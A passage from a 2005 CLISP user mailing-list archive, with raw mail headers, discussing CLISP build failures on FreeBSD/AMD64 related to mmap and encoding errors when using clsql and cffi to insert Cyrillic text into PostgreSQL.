confirm that? Thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://www.mideasttruth.com/ http://www.savegushkatif.org http://www.dhimmi.com/ http://www.memri.org/ When we break the law, they fine us, when we comply, they tax us. From sds@gnu.org Wed Nov 09 12:36:48 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZwga-0007uW-Jb for clisp-list@lists.sourceforge.net; Wed, 09 Nov 2005 12:36:48 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZwgO-0001ip-0s for clisp-list@lists.sourceforge.net; Wed, 09 Nov 2005 12:36:48 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA9Ka1WL012504; Wed, 9 Nov 2005 15:36:05 -0500 (EST) To: Mikhail Teterin Cc: clisp-list@lists.sourceforge.net, andreas_eder@gmx.net, mi+kde@aldan.algebra.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200511091334.55538.Mikhail.Teterin@murex.com> (Mikhail Teterin's message of "Wed, 9 Nov 2005 13:34:55 -0500") References: <200511091627.jA9GRM5x031774@staffa.eder.local> <200511091334.55538.Mikhail.Teterin@murex.com> Mail-Followup-To: Mikhail Teterin , clisp-list@lists.sourceforge.net, andreas_eder@gmx.net, mi+kde@aldan.algebra.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Failure in buildinf clisp on FreeBSD/AMD64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 9 12:37:09 2005 X-Original-Date: Wed, 09 Nov 2005 15:35:05 -0500 > * Mikhail Teterin [2005-11-09 13:34:55 -0500]: > > =D1=81=D0=B5=D1=80=D0=B5=D0=B4=D0=B0 09 =D0=BB=D0=B8=D1=81=D1=82=D0=BE=D0= =BF=D0=B0=D0=B4 2005 12:03, Sam Steingold =D0=92=D0=B8 =D0=BD=D0=B0=D0=BF= =D0=B8=D1=81=D0=B0=D0=BB=D0=B8: >> now, just bad mmap() in FreeBSD. > > Can you, please, provide a test case? What exactly is "bad"? clisp calls mmap() and it works on linux but not on FreeBSD. that's bad. I am not trying to put FreeBSD down, and I am not claiming any expertize on memory mapping. I am just saying that it would be nice if someone could figure this out. Please go ahead! PS. Please avoid non-ASCII characters and MIME headers on this list. Thanks you! --=20 Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://www.camera.org http://ffii.org/ http://www.dhimmi.com/ http://www.savegushkatif.org My other CAR is a CDR. From aeder@arcor.de Wed Nov 09 12:51:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZwv3-0000DA-IR for clisp-list@lists.sourceforge.net; Wed, 09 Nov 2005 12:51:45 -0800 Received: from mail-in-05.arcor-online.net ([151.189.21.45]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EZwv2-0004HF-0h for clisp-list@lists.sourceforge.net; Wed, 09 Nov 2005 12:51:45 -0800 Received: from mail-in-03-z2.arcor-online.net (mail-in-03-z2.arcor-online.net [151.189.8.15]) by mail-in-05.arcor-online.net (Postfix) with ESMTP id 6FBA2BA189 for ; Wed, 9 Nov 2005 21:51:41 +0100 (CET) Received: from mail-in-02.arcor-online.net (mail-in-02.arcor-online.net [151.189.21.42]) by mail-in-03-z2.arcor-online.net (Postfix) with ESMTP id 612B41F1D1E for ; Wed, 9 Nov 2005 21:51:41 +0100 (CET) Received: from iona.eder.local (dslb-084-059-065-041.pools.arcor-ip.net [84.59.65.41]) by mail-in-02.arcor-online.net (Postfix) with ESMTP id 3D21D7A150 for ; Wed, 9 Nov 2005 21:51:41 +0100 (CET) Received: from staffa.eder.local (staffa [192.168.0.22]) by iona.eder.local (Postfix) with ESMTP id ED3F066CB for ; Wed, 9 Nov 2005 21:51:40 +0100 (CET) Received: from staffa.eder.local (localhost [127.0.0.1]) by staffa.eder.local (8.13.4/8.13.3) with ESMTP id jA9Kpegd033075 for ; Wed, 9 Nov 2005 21:51:40 +0100 (CET) (envelope-from are@staffa.eder.local) Message-Id: <200511092051.jA9Kpegd033075@staffa.eder.local> To: clisp-list@lists.sourceforge.net In-Reply-To: Your message of "Wed, 09 Nov 2005 12:03:32 EST." X-Mailer: MH-E 7.85; nmh 1.0.4; GNU Emacs 21.3.1 From: Andreas Eder X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: Failure in buildinf clisp on FreeBSD/AMD64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 9 12:52:05 2005 X-Original-Date: Wed, 09 Nov 2005 21:51:40 +0100 Sam Steingold wrote: >> So, I gues there is something wrong with the above defined values. > >now, just bad mmap() in FreeBSD. > >> Maybe you can use this information to enable clisp on Freebsd/amd64. >> I'm unfortunately not knowledgable enough to do it > >you should start with clisp/unix/PLATFORMS in your source distribution. >disabling mmap() will get you a working CLISP. How do I disable mmap then? Do you know what is wrong about it? Is there a chance to correct its behaviour in Freeebsd? Andreas From sds@gnu.org Wed Nov 09 13:43:19 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZxiw-0002Z9-Du for clisp-list@lists.sourceforge.net; Wed, 09 Nov 2005 13:43:18 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZxiu-0006jc-Bl for clisp-list@lists.sourceforge.net; Wed, 09 Nov 2005 13:43:18 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA9Lh1KO017703; Wed, 9 Nov 2005 16:43:02 -0500 (EST) To: clisp-list@lists.sourceforge.net, Andreas Eder Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200511092051.jA9Kpegd033075@staffa.eder.local> (Andreas Eder's message of "Wed, 09 Nov 2005 21:51:40 +0100") References: <200511092051.jA9Kpegd033075@staffa.eder.local> Mail-Followup-To: clisp-list@lists.sourceforge.net, Andreas Eder Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Failure in buildinf clisp on FreeBSD/AMD64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 9 13:44:04 2005 X-Original-Date: Wed, 09 Nov 2005 16:42:06 -0500 > * Andreas Eder [2005-11-09 21:51:40 +0100]: > > Sam Steingold wrote: >>> So, I gues there is something wrong with the above defined values. >> >>now, just bad mmap() in FreeBSD. >> >>> Maybe you can use this information to enable clisp on Freebsd/amd64. >>> I'm unfortunately not knowledgable enough to do it >> >>you should start with clisp/unix/PLATFORMS in your source distribution. >>disabling mmap() will get you a working CLISP. > > How do I disable mmap then? you read my message again. 4 lines above your reply I say: "you should start with clisp/unix/PLATFORMS in your source distribution" actually _DO_ start with that file and search for "porting". > Do you know what is wrong about it? nope. > Is there a chance to correct its behaviour in Freeebsd? you need to talk to the Freeebsd maintainers. it is quite likely that they will tell you that it is CLISP, not Freeebsd, that is broken. ask them to tell you how to fix CLISP. (I suggest that you work with the CLISP CVS head). -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.palestinefacts.org/ http://www.camera.org http://www.memri.org/ http://www.mideasttruth.com/ http://www.dhimmi.com/ I'm a Lisp variable -- bind me! From lisp-clisp-list@m.gmane.org Wed Nov 09 16:10:23 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ea01H-0000UZ-41 for clisp-list@lists.sourceforge.net; Wed, 09 Nov 2005 16:10:23 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ea01F-0002bH-FE for clisp-list@lists.sourceforge.net; Wed, 09 Nov 2005 16:10:23 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1Ea00z-0007pI-5o for clisp-list@lists.sourceforge.net; Thu, 10 Nov 2005 01:10:05 +0100 Received: from dslb-084-059-077-041.pools.arcor-ip.net ([84.59.77.41]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 10 Nov 2005 01:10:05 +0100 Received: from andreas_eder by dslb-084-059-077-041.pools.arcor-ip.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 10 Nov 2005 01:10:05 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Andreas Eder Lines: 31 Message-ID: References: <200511092051.jA9Kpegd033075@staffa.eder.local> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: dslb-084-059-077-041.pools.arcor-ip.net User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3 (berkeley-unix) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Failure in buildinf clisp on FreeBSD/AMD64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 9 16:11:05 2005 X-Original-Date: Thu, 10 Nov 2005 00:33:50 +0100 Sam Steingald write: >> How do I disable mmap then? >you read my message again. >4 lines above your reply I say: >"you should start with clisp/unix/PLATFORMS in your source distribution" >actually _DO_ start with that file and search for "porting". Ok, fine I tried that, but a get an error message saying: gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE -DDYNAMIC_FFI -I. -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP -c spvw.c In file included from spvw.d:24: lispbibl.d:9474: warning: volatile register variables don't work as you might wish In file included from spvw.d:3425: spvw_memfile.d: In function `loadmem_from_handle': spvw_memfile.d:1487: error: structure has no member named `heap_limit' So, either I'm really dumb or there is a problem in the code. And if I add -DNO_GENERATIONAL_GC I'm back to the first error: ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" Cannot map shared memory to address 0x71a000. [spvw_multimap.d:359] errno = ENOMEM: Hauptspeicher oder Swapspace reicht nicht. ./lisp.run: Nicht genug Speicher für Lisp. Andreas -- Wherever I lay my .emacs, there's my $HOME. From raymond.toy@ericsson.com Thu Nov 10 07:09:30 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EaE3I-0003zc-3L for clisp-list@lists.sourceforge.net; Thu, 10 Nov 2005 07:09:24 -0800 Received: from imr1.ericy.com ([198.24.6.9]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EaE3H-0007Mw-Nq for clisp-list@lists.sourceforge.net; Thu, 10 Nov 2005 07:09:24 -0800 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.13.1/8.13.1) with ESMTP id jAAF9Fii019377; Thu, 10 Nov 2005 09:09:15 -0600 Received: from brtps071 (brtps071.rtp.ericsson.se [147.117.93.71]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id WGY9S8YH; Thu, 10 Nov 2005 09:09:15 -0600 To: Stephen Compall Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Making special variables no longer special? References: <1131481593.26895.9.camel@csserver.evansville.edu> From: Raymond Toy In-Reply-To: <1131481593.26895.9.camel@csserver.evansville.edu> (Stephen Compall's message of "Tue, 08 Nov 2005 14:26:33 -0600") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (daikon, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 10 07:10:16 2005 X-Original-Date: Thu, 10 Nov 2005 10:09:14 -0500 >>>>> "Stephen" == Stephen Compall writes: Stephen> On Tue, 2005-11-08 at 12:46 -0500, Sam Steingold wrote: >> > Actually it doesn't quite work. maxima gets some error about #:arg >> > being an undefined function. Don't know where that comes from, but >> > maxima doesn't build now. >> >> sure, it's not quite safe... >> I am at loss to imagine a scenario that would lead to this though. [snip] Stephen> *** - EVAL: undefined function #:ARG Stephen> The following restarts are available: Thanks for the nice example. I don't really know where this is coming from, but I'll have to dig a little deeper to see if maxima is doing something similar. My motivation, unfortunately, is rather low. It's easier to just rename the few places (that I know about) where the offending symbol is causing trouble. A terrible solution, but.... Ray From sds@gnu.org Thu Nov 10 08:19:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EaF8f-0007jt-Pz for clisp-list@lists.sourceforge.net; Thu, 10 Nov 2005 08:19:01 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EaF8e-00008Q-5V for clisp-list@lists.sourceforge.net; Thu, 10 Nov 2005 08:19:01 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAAGISHY017660; Thu, 10 Nov 2005 11:18:29 -0500 (EST) To: clisp-list@lists.sourceforge.net, Andreas Eder Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Andreas Eder's message of "Thu, 10 Nov 2005 00:33:50 +0100") References: <200511092051.jA9Kpegd033075@staffa.eder.local> Mail-Followup-To: clisp-list@lists.sourceforge.net, Andreas Eder Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Failure in buildinf clisp on FreeBSD/AMD64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 10 08:20:00 2005 X-Original-Date: Thu, 10 Nov 2005 11:17:34 -0500 > * Andreas Eder [2005-11-10 00:33:50 +0100]: > > Sam Steingald write: it would be nice if you spelled by name correctly. thanks. >>> How do I disable mmap then? > >>you read my message again. >>4 lines above your reply I say: >>"you should start with clisp/unix/PLATFORMS in your source distribution" >>actually _DO_ start with that file and search for "porting". > > Ok, fine I tried that, but a get an error message saying: > > gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O -DUNICODE -DDYNAMIC_FFI -I. -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP -c spvw.c > In file included from spvw.d:24: > lispbibl.d:9474: warning: volatile register variables don't work as you might wish > In file included from spvw.d:3425: > spvw_memfile.d: In function `loadmem_from_handle': > spvw_memfile.d:1487: error: structure has no member named `heap_limit' yes, I have seen this too, and maybe some day I will take care of this. or maybe not. maybe you would like to fix this? meanwhile, if you add all for -DNO_* flags that clisp/unix/PLATFORMS recommends, you should get a working CLISP. > And if I add -DNO_GENERATIONAL_GC I'm back to the first error: why do this? clisp/unix/PLATFORMS recommends it in a very specific circumstances that are not satisfied in your case. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.openvotingconsortium.org/ http://www.iris.org.il http://www.honestreporting.com http://www.memri.org/ http://www.dhimmi.com/ Never underestimate the power of stupid people in large groups. From kavenchuk@tut.by Thu Nov 10 12:21:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EaIus-0001po-1h for clisp-list@lists.sourceforge.net; Thu, 10 Nov 2005 12:21:02 -0800 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EaIur-0004Op-JK for clisp-list@lists.sourceforge.net; Thu, 10 Nov 2005 12:21:02 -0800 Received: from [194.158.220.53] (account kavenchuk HELO [194.158.220.53]) by tut.by (CommuniGate Pro SMTP 4.3.6) with ESMTPSA id 17796211; Thu, 10 Nov 2005 23:20:23 +0200 Message-ID: <4373ABA2.6010004@tut.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru-ru, ru, en-en, en MIME-Version: 1.0 To: Yaroslav Kavenchuk CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp + cffi + clsql problem References: <436C6705.5020604@tut.by> In-Reply-To: <436C6705.5020604@tut.by> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Spam-Score: 1.3 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 10 12:22:01 2005 X-Original-Date: Thu, 10 Nov 2005 22:20:50 +0200 >> If this works, report the bug to the author of cffi. He should move >> >> >> these functions to the implementation specific files (cffi-clisp.lisp). > > > > It is works! Many thanks!!!! > I do not understand something, or it is a error: [2]> (setq conn (clsql:connect '("localhost" "test" "postgres" "postgres") :database-type :postgresql)) # [3]> (clsql:print-query "SHOW client_encoding;" :database conn) win [4]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:CP1251)) (clsql:execute-command "insert into mu values ('кг', 'килограмм')" :database conn)) [5]> (clsql:execute-command "SET CLIENT_ENCODING TO 'UTF8'" :database conn) [6]> (clsql:print-query "SHOW client_encoding;" :database conn) UTF8 [7]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:UTF-8)) (clsql:execute-command "insert into mu values ('м', 'метр')" :database conn)) *** - invalid byte sequence #xD1 #x22 in CHARSET:UTF-8 conversion The following restarts are available: ABORT :R1 ABORT Break 1 [8]> :bt <1> # 3 <2> # <3> # <4> # 2 <5> # <6> # 2 <7> # <8> # <9> # <10> # 1 <11> # 2 <12> # <13> # These are features of PostgreSQL work, or wrong encode translate? Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Thu Nov 10 14:31:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EaKwo-0007NL-5k for clisp-list@lists.sourceforge.net; Thu, 10 Nov 2005 14:31:10 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EaKwm-00026p-Pj for clisp-list@lists.sourceforge.net; Thu, 10 Nov 2005 14:31:10 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAAMUoqi012511; Thu, 10 Nov 2005 17:30:51 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4373ABA2.6010004@tut.by> (Yaroslav Kavenchuk's message of "Thu, 10 Nov 2005 22:20:50 +0200") References: <436C6705.5020604@tut.by> <4373ABA2.6010004@tut.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp + cffi + clsql problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 10 14:32:00 2005 X-Original-Date: Thu, 10 Nov 2005 17:29:55 -0500 > * Yaroslav Kavenchuk [2005-11-10 22:20:50 +0200]: > > [4]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:CP1251)) > (clsql:execute-command > "insert into mu values ('=D0=BA=D0=B3', '=D0=BA=D0=B8=D0=BB=D0= =BE=D0=B3=D1=80=D0=B0=D0=BC=D0=BC')" > :database conn)) it works, this means that '=D0=BA=D0=B8=D0=BB=D0=BE=D0=B3=D1=80=D0=B0=D0=BC= =D0=BC' is actually in CP1251 > [7]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:UTF-8)) > (clsql:execute-command > "insert into mu values ('=D0=BC', '=D0=BC=D0=B5=D1=82=D1=80')" > :database conn)) > > *** - invalid byte sequence #xD1 #x22 in CHARSET:UTF-8 conversion aha - so '=D0=BC=D0=B5=D1=82=D1=80' is not UTF-8 (but CP1251)! surprized? --=20 Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org/ http://www.mideasttruth.com/ http://www.openvotingconsortium.org/ http://www.honestreporting.com Why use Windows, when there are Doors? From kavenchuk@jenty.by Fri Nov 11 01:32:52 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EaVH9-0001Jh-RS for clisp-list@lists.sourceforge.net; Fri, 11 Nov 2005 01:32:51 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EaVH9-0005WB-5E for clisp-list@lists.sourceforge.net; Fri, 11 Nov 2005 01:32:51 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id WPT62T1T; Fri, 11 Nov 2005 11:34:06 +0200 Message-ID: <437465A0.60707@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: Yaroslav Kavenchuk Subject: Re: [clisp-list] Re: clisp + cffi + clsql problem References: In-Reply-To: Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 11 01:33:02 2005 X-Original-Date: Fri, 11 Nov 2005 11:34:24 +0200 Sam Steingold wrote: >>* Yaroslav Kavenchuk [2005-11-10 22:20:50 +0200]: >> >>[4]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:CP1251)) >> (clsql:execute-command >> "insert into mu values ('кг', 'килограмм')" >> :database conn)) > > > it works, this means that 'килограмм' is actually in CP1251 > > >>[7]> (EXT:LETF ((CUSTOM:*FOREIGN-ENCODING* CHARSET:UTF-8)) >> (clsql:execute-command >> "insert into mu values ('м', 'метр')" >> :database conn)) >> >>*** - invalid byte sequence #xD1 #x22 in CHARSET:UTF-8 conversion > > > aha - so 'метр' is not UTF-8 (but CP1251)! > > surprized? > Yes :) What is do next function (defun lisp-string-to-foreign (string ptr size) "Copy at most SIZE-1 characters from a Lisp STRING to PTR. The foreign string will be null-terminated." (decf size) (loop :with bytes = (ext:convert-string-to-bytes string custom:*foreign-encoding*) :with i = 0 :for byte :across bytes :while (< i size) :do (setf (%mem-ref ptr :unsigned-char (post-incf i)) byte) :finally (setf (%mem-ref ptr :unsigned-char i) 0))) if CUSTOM:*FOREIGN-ENCODING* is CHARSET:UTF-8? Thanks! -- 